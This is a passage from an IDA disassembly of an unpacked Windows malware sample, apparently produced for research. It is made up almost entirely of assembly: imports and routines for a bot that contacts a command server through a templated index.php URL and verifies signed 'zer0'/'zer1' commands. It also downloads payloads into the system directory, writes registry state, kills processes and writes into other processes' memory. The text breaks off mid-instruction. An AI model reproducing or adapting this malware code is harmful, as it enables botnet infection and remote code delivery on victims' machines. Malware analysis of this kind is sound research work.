; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 795996AC062010EA8F65317823286DB4 ; File Name : u:\work\795996ac062010ea8f65317823286db4_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31430000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31431000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31431000 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31431004 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31431008 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3143100C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_31432A49+1Dr dword_31431010 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31431014 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_31432A49+4Er ... dword_31431018 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownAdword_3143101C dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31431020 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31431024 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_31431028 dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHashdword_3143102C dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31431030 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31431034 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_31431038 dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKey align 10h dword_31431040 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_31431044 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31431048 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_3143104C dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31431050 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31431054 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31431058 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3143105C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31431060 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31431064 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31431068 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_31432D2E+8Fr dword_3143106C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_31431070 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_31431074 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_31432C62+Fr dword_31431078 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_3143107C dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_31431080 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_314311A0+F6r ... dword_31431084 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_3143237F+57r dword_31431088 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_3143141F+64r ... dword_3143108C dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_31432C62+40r dword_31431090 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_31432C62+1Br dword_31431094 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchange ; sub_3143185D+1r dword_31431098 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_3143109C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_314319BC+16Cr ... dword_314310A0 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_314310A4 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_314310A8 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_31431FAB+2Cr dword_314310AC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_3143256D+124r dword_314310B0 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_314310B4 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_31432AF5+92r dword_314310B8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:314324F1r dword_314310BC dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_314310C0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_314310C4 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_3143210D+12r dword_314310C8 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_314310CC dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_314310D0 dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_314310D4 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_3143237F+66r ... dword_314310D8 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_3143278A+3Er ... dword_314310DC dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_314310E0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_314310E4 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_31432C62+C3r dd 0 dword_314310EC dd 77C371BCh ; resolved to->MSVCRT.sranddword_314310F0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_314310F4 dd 77C478A0h ; resolved to->MSVCRT.strlendword_314310F8 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_314310FC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_3143212E:loc_3143213Fr ... ; --------------------------------------------------------------------------- loc_31431100: ; DATA XREF: UPX0:loc_31432EA0r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31431104 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_3143141F+1A0r ... dword_31431108 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_3143110C dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_3143141F+B4r dd 0 dword_31431114 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31431118 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_3143111C dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessIddword_31431120 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_31431782+5Dr ... align 8 dword_31431128 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_31431782+9Dr dword_3143112C dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_31431782+89r dword_31431130 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandledword_31431134 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:31432967r dword_31431138 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_31431782+B0r align 10h dword_31431140 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31431144 dd 71AB3E00h ; resolved to->WS2_32.binddword_31431148 dd 71AB88D3h ; resolved to->WS2_32.listendword_3143114C dd 71AC1028h ; resolved to->WS2_32.acceptdword_31431150 dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31431154 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31431158 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_3143115C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_3143237F+ACr dword_31431160 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_314328D7+Dr dword_31431164 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_3143237F+F0r dword_31431168 dd 71AB406Ah ; resolved to->WS2_32.connectdword_3143116C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_31432239+67r ... dword_31431170 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_314319BC+1D8r ... dword_31431174 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_31432239+128r dword_31431178 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_31432239+12Fr align 10h dword_31431180 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h dword_31431190 dd 0FFFFFFFFh, 0 dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314311A0 proc near ; CODE XREF: sub_3143141F+172p var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_3143112C ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_314311CB push 1 jmp loc_31431261 ; --------------------------------------------------------------------------- loc_314311CB: ; CODE XREF: sub_314311A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_31431090 ; GetSystemDirectoryA mov edi, dword_3143108C lea eax, [ebp+var_110] push offset dword_314341F8 push eax call edi ; lstrcatA lea eax, [ebp+var_110] push 6 push eax call dword_31431088 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_3143212E pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_314341F0 push eax call edi ; lstrcatA push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31431084 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31431241 push 2 jmp short loc_31431261 ; --------------------------------------------------------------------------- loc_31431241: ; CODE XREF: sub_314311A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31431128 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31431264 push [ebp+var_4] call dword_31431080 ; CloseHandle push 3 loc_31431261: ; CODE XREF: sub_314311A0+26j ; sub_314311A0+9Fj pop eax jmp short loc_314312B5 ; --------------------------------------------------------------------------- loc_31431264: ; CODE XREF: sub_314311A0+B4j mov edi, 100000h push edi call sub_31432E6C mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31431138 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_3143107C ; WriteFile push [ebp+var_4] call dword_31431080 ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_3143215E push ebx call sub_31432E80 add esp, 0Ch xor eax, eax loc_314312B5: ; CODE XREF: sub_314311A0+C2j pop edi pop esi pop ebx leave retn sub_314311A0 endp ; =============== S U B R O U T I N E ======================================= sub_314312BA proc near ; CODE XREF: sub_3143141F+103p ; sub_3143141F+1DEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jle short locret_31431312 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_314312D8: ; CODE XREF: sub_314312BA+53j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl shl bl, 4 xor dl, bl add eax, 3 mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, [esp+0Ch+arg_8] jl short loc_314312D8 pop edi pop esi pop ebx locret_31431312: ; CODE XREF: sub_314312BA+5j retn sub_314312BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431313 proc near ; CODE XREF: sub_31431398+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31431346 add ebx, 1Ah loc_31431346: ; CODE XREF: sub_31431313+2Ej movsx edi, [ebp+arg_0] mov esi, dword_3143110C lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31431370 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31431393 ; --------------------------------------------------------------------------- loc_31431370: ; CODE XREF: sub_31431313+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31431390 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31431393 ; --------------------------------------------------------------------------- loc_31431390: ; CODE XREF: sub_31431313+68j mov al, [ebp+arg_0] loc_31431393: ; CODE XREF: sub_31431313+5Bj ; sub_31431313+7Bj pop edi pop esi pop ebx leave retn sub_31431313 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431398 proc near ; CODE XREF: sub_3143141F+E0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_314313F5 mov edi, [ebp+arg_0] push ebx loc_314313AD: ; CODE XREF: sub_31431398+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31431313 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_314313D9 cmp bl, 7Ah jg short loc_314313D9 movsx esi, bl sub esi, 61h loc_314313D9: ; CODE XREF: sub_31431398+34j ; sub_31431398+39j cmp bl, 41h jl short loc_314313E9 cmp bl, 5Ah jg short loc_314313E9 movsx esi, bl sub esi, 41h loc_314313E9: ; CODE XREF: sub_31431398+44j ; sub_31431398+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_314313AD pop ebx jmp short loc_314313F8 ; --------------------------------------------------------------------------- loc_314313F5: ; CODE XREF: sub_31431398+Fj mov edi, [ebp+arg_0] loc_314313F8: ; CODE XREF: sub_31431398+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31431398 endp ; =============== S U B R O U T I N E ======================================= sub_314313FF proc near ; CODE XREF: sub_3143141F+10Fp ; sub_3143141F+1FCp arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31431403: ; CODE XREF: sub_314313FF+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31431403 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_314313FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143141F proc near ; CODE XREF: sub_31431782+BAp var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1CC = byte ptr -1CCh var_1B8 = dword ptr -1B8h var_1B4 = byte ptr -1B4h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_174 = byte ptr -174h var_16C = byte ptr -16Ch var_168 = byte ptr -168h var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_120 = byte ptr -120h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31431180 push offset loc_31432EA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1DCh push ebx push esi push edi mov [ebp+var_12C], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31431104 ; strstr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_314315B7 add esi, 4 mov [ebp+var_134], esi jz loc_314315B7 push esi call dword_31431088 ; lstrlenA mov [ebp+var_20], eax cmp eax, 50h jle loc_314315B7 lea eax, [esi+100h] mov cl, [eax] mov [ebp+var_174], cl and byte ptr [eax], 0 mov al, [esi] mov [ebp+var_16C], al movsx ebx, al sub ebx, 61h mov [ebp+var_130], ebx js loc_314315AB cmp ebx, 1Ah jge loc_314315AB inc esi mov [ebp+var_134], esi push 7Eh push esi call dword_3143110C ; strchr pop ecx pop ecx mov edi, eax mov [ebp+var_138], edi test edi, edi jz loc_314315AB mov al, [edi] mov [ebp+var_178], al and byte ptr [edi], 0 push ebx push esi lea eax, [ebp+var_120] push eax call sub_31431398 mov al, [ebp+var_178] mov [edi], al lea esi, [edi+1] mov [ebp+var_134], esi push 30h lea eax, [ebp+var_168] push eax lea eax, [esi+1] push eax call sub_314312BA lea eax, [ebp+var_168] push eax call sub_314313FF add esp, 1Ch cmp [esi], al jnz short loc_314315AB push 44h push offset dword_31434000 lea eax, [ebp+var_128] push eax call sub_314318EA add esp, 0Ch lea eax, [ebp+var_1C] push eax push 30h lea eax, [ebp+var_168] push eax lea eax, [ebp+var_120] push eax call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_128] push eax call sub_31431955 add esp, 18h test eax, eax jnz short loc_3143159E cmp [ebp+var_1C], eax jz short loc_3143159E lea eax, [ebp+var_120] push eax call sub_314311A0 pop ecx and [ebp+var_12C], 0 loc_3143159E: ; CODE XREF: sub_3143141F+164j ; sub_3143141F+169j lea eax, [ebp+var_128] push eax call sub_31431939 pop ecx loc_314315AB: ; CODE XREF: sub_3143141F+9Bj ; sub_3143141F+A4j ... mov al, [ebp+var_174] mov [esi+100h], al loc_314315B7: ; CODE XREF: sub_3143141F+4Ej ; sub_3143141F+5Dj ... push offset aZer1 ; "zer1" push [ebp+arg_0] call dword_31431104 ; strstr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_31431763 add esi, 4 mov [ebp+var_134], esi push esi call dword_31431088 ; lstrlenA mov [ebp+var_20], eax cmp eax, 5Ah jle loc_31431763 push 0Ch lea eax, [ebp+var_184] push eax push esi call sub_314312BA push 30h lea eax, [ebp+var_1B4] push eax lea eax, [esi+13h] push eax call sub_314312BA lea eax, [ebp+var_1B4] push eax call sub_314313FF add esp, 1Ch cmp [esi+12h], al jnz loc_31431763 push 44h push offset dword_31434000 lea eax, [ebp+var_128] push eax call sub_314318EA lea eax, [ebp+var_1C] push eax push 30h lea eax, [ebp+var_1B4] push eax push 0Ch lea eax, [ebp+var_184] push eax lea eax, [ebp+var_128] push eax call sub_31431955 add esp, 24h test eax, eax jnz loc_31431756 cmp [ebp+var_1C], eax jz loc_31431756 push 7 pop ecx mov esi, offset aSoftwareMicros ; "Software\\Microsoft\\Wireless" lea edi, [ebp+var_1E8] rep movsd mov eax, dword_3143426C mov [ebp+var_1B8], eax push 13h lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1E8] push eax mov esi, 80000002h push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_314316CF lea eax, [ebp+var_1CC] push eax call dword_31431108 ; atoi pop ecx mov [ebp+var_1EC], eax jmp short loc_314316D6 ; --------------------------------------------------------------------------- loc_314316CF: ; CODE XREF: sub_3143141F+298j and [ebp+var_1EC], 0 loc_314316D6: ; CODE XREF: sub_3143141F+2AEj mov eax, [ebp+var_184] cmp [ebp+var_1EC], eax jnb short loc_3143174F mov [ebp+var_1EC], eax push eax push offset aD ; "%d" lea eax, [ebp+var_1CC] push eax call dword_31431120 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_1CC] push eax call dword_31431088 ; lstrlenA inc eax push eax lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1E8] push eax push esi call sub_31432AA2 add esp, 14h cmp dword_31435048, 0 jnz short loc_3143173E push [ebp+var_180] jmp short loc_31431744 ; --------------------------------------------------------------------------- loc_3143173E: ; CODE XREF: sub_3143141F+315j push [ebp+var_17C] loc_31431744: ; CODE XREF: sub_3143141F+31Dj push offset dword_3143504C call dword_31431094 ; InterlockedExchange loc_3143174F: ; CODE XREF: sub_3143141F+2C3j and [ebp+var_12C], 0 loc_31431756: ; CODE XREF: sub_3143141F+247j ; sub_3143141F+250j lea eax, [ebp+var_128] push eax call sub_31431939 pop ecx loc_31431763: ; CODE XREF: sub_3143141F+1B2j ; sub_3143141F+1CEj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_12C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_3143141F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431782 proc near ; CODE XREF: sub_3143185D+2Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31432E6C pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31431098 ; GetLocaleInfoA xor ebx, ebx cmp byte ptr [ebp+arg_4], bl jz short loc_314317EA lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_3143502C push dword_31435044 push offset aXaurqzwplbcgiu ; "xaurqzwplbcgiuqi" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_31431120 ; wsprintfA add esp, 1Ch jmp short loc_31431802 ; --------------------------------------------------------------------------- loc_314317EA: ; CODE XREF: sub_31431782+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_31431120 ; wsprintfA add esp, 0Ch loc_31431802: ; CODE XREF: sub_31431782+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_3143112C ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31431128 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31431138 ; InternetReadFile push esi mov [ebp+arg_4], eax call sub_3143141F push esi call sub_31432E80 mov esi, dword_31431130 pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle mov eax, [ebp+arg_4] pop edi pop esi pop ebx leave retn sub_31431782 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3143185D proc near ; DATA XREF: sub_3143256D+169o push ebx mov ebx, dword_31431094 push esi push edi loc_31431866: ; CODE XREF: sub_3143185D+88j xor esi, esi mov edi, 46021h loc_3143186D: ; CODE XREF: sub_3143185D+86j inc esi inc esi call sub_314321F3 test eax, eax jz short loc_314318B7 mov al, byte_31434080[esi+esi*4] push eax push off_31434081[esi+esi*4] call sub_31431782 or eax, edi pop ecx xor eax, 8064h pop ecx shl eax, 3 mov edi, eax xor eax, 228h test ax, 0FFFFh jnz short loc_314318B7 push 0 push offset dword_31435044 call ebx ; InterlockedExchange push 0 push offset dword_3143502C call ebx ; InterlockedExchange loc_314318B7: ; CODE XREF: sub_3143185D+19j ; sub_3143185D+46j call dword_314310FC ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_31432223 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_3143109C ; Sleep cmp esi, 16h jb short loc_3143186D jmp loc_31431866 sub_3143185D endp ; =============== S U B R O U T I N E ======================================= sub_314318EA proc near ; CODE XREF: sub_3143141F+129p ; sub_3143141F+21Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31431034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_31431917 push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_31431917 push 1 pop eax jmp short loc_31431935 ; --------------------------------------------------------------------------- loc_31431917: ; CODE XREF: sub_314318EA+19j ; sub_314318EA+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31431038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_31431935: ; CODE XREF: sub_314318EA+2Bj pop edi pop esi pop ebx retn sub_314318EA endp ; =============== S U B R O U T I N E ======================================= sub_31431939 proc near ; CODE XREF: sub_3143141F+186p ; sub_3143141F+33Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3143102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_31431030 ; CryptReleaseContext xor eax, eax pop esi retn sub_31431939 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431955 proc near ; CODE XREF: sub_3143141F+15Ap ; sub_3143141F+23Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3143101C ; CryptCreateHash test eax, eax jnz short loc_3143197B push 1 pop eax jmp short loc_314319B8 ; --------------------------------------------------------------------------- loc_3143197B: ; CODE XREF: sub_31431955+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31431020 ; CryptHashData test eax, eax jnz short loc_31431994 push 2 pop edi jmp short loc_314319AD ; --------------------------------------------------------------------------- loc_31431994: ; CODE XREF: sub_31431955+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31431024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_314319AD: ; CODE XREF: sub_31431955+3Dj push [ebp+arg_0] call dword_31431028 ; CryptDestroyHash mov eax, edi loc_314319B8: ; CODE XREF: sub_31431955+24j pop edi pop esi pop ebp retn sub_31431955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314319BC proc near ; CODE XREF: sub_31432728+35p ; sub_3143278A+47p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31432EC0 mov eax, dword_31434CAC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31434CB0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_3143115C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31431F1C push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31431160 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_314310A0 ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31434CA0 push eax call dword_31431120 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31431A2F: ; CODE XREF: sub_314319BC+83j mov 